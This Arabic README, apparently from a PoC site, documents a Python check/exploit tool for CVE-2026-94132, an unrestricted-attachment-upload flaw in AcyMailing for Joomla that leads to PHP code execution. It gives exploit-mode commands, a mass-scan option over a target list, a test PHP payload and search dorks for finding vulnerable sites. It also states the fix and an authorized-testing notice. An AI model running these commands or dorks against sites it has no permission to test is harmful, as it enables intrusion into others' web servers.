
أداة إثبات مفهوم (PoC) بلغة Python للفحص/الاستغلال لثغرة CVE-2026-94132: تكتشف إصدارات AcyMailing for Joomla، وتتحقق من دليل media/com_acym/upload، وتتحقق من تنفيذ قشرة PHP المرفوعة.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-94132 — AcyMailing Enterprise لـ Joomla (acymailing.com).
CVE-2026-94132 — AcyMailing Enterprise < 11.1.0 (حتى 11.0.5): تقوم إجراءات صندوق البريد في وضع POP3 بحفظ مرفقات MIME الواردة إلى media/com_acym/upload/ دون فحوصات امتداد مناسبة. يمكن لأي شخص قادر على إرسال بريد إلكتروني إلى صندوق البريد المراقَب وضع ملف .php (أو ما شابه) تحت جذر الويب وتحقيق RCE (CWE-434). CVSS 4.0 9.5 حرج (AT:P — يتطلب الوصول إلى صندوق البريد المراقَب). الإصلاح: 11.1.0 (التبديل إلى IMAP أو تعطيل معالجة المرفقات المعرّضة في POP3 حتى يتم التصحيح).
صفحة PoC: https://pocbit.org/pocs/cve-2026-94132
الفهرس: https://pocbit.org/pocs/
| المنتج | AcyMailing Enterprise لـ Joomla |
| المكوّن | com_acym |
| المتأثر | 1.0.0 – 11.0.5 |
| المُصلَح | 11.1.0 |
| مسار الكتابة | /media/com_acym/upload/ |
| المتطلب المسبق | يستطيع المهاجم إرسال بريد إلى صندوق بريد POP3 المراقَب في AcyMailing |
| المُعيِّن | Joomla CNA |
هذا الـ PoC لا يرسل بريدًا إلكترونيًا (اختبار صندوق بريد مُصرَّح به فقط). يكتشف AcyMailing/الإصدار، ويستكشف دليل الرفع، ويتحقق من عنوان URL للـ shell بعد أن تُسلِّم مرفقًا تجريبيًا.
pip install -r requirements.txt
python poc.py -u https://joomla.example --mode check
python poc.py -u https://joomla.example --mode check --scan-uploads
python poc.py -u https://joomla.example --mode exploit --scan-uploads --shell-name pocbit_94132.php
python poc.py -u https://joomla.example --mode exploit --verify-url https://joomla.example/media/com_acym/upload/pocbit_94132.php
python poc.py --list targets.example.txt --mode check -j 10 --scan-uploads
سير الاستغلال في المختبر: أرسل pocbit_94132.php (<?php echo 'POCBIT-94132-OK'; ?>) بالبريد إلى صندوق بريد AcyMailing الخاص بالموقع → شغّل --mode exploit --verify-url ....
body="media/com_acym"
body="com_acym"
inurl:"option=com_acym"
AcyMailing Enterprise لـ Joomla < 11.1.0: تكتب إجراءات صندوق بريد POP3 مرفقات MIME غير المُتحقَّق منها إلى media/com_acym/upload/ → RCE إذا كان بإمكانك إرسال بريد إلى صندوق البريد المراقَب (CVE-2026-94132). إثبات مفهوم (PoC) للفحص/الاستغلال بلغة Python — PoCbit.
CVE-2026-94132: AcyMailing Enterprise ≤ 11.0.5 — يتم كتابة المرفقات الواردة إلى صندوق بريد POP3 تحت media/com_acym/upload/ دون التحقق من الامتداد؛ ويمكن للمهاجم القادر على إرسال بريد إلى صندوق البريد المراقَب الحصول على PHP/RCE. قم بالترقية إلى 11.1.0 أو انتقل إلى IMAP.
للاختبار المُصرَّح به فقط. يجب أن تستخدم اختبارات تسليم البريد الإلكتروني صناديق بريد تملكها أو لديك إذن باستخدامها.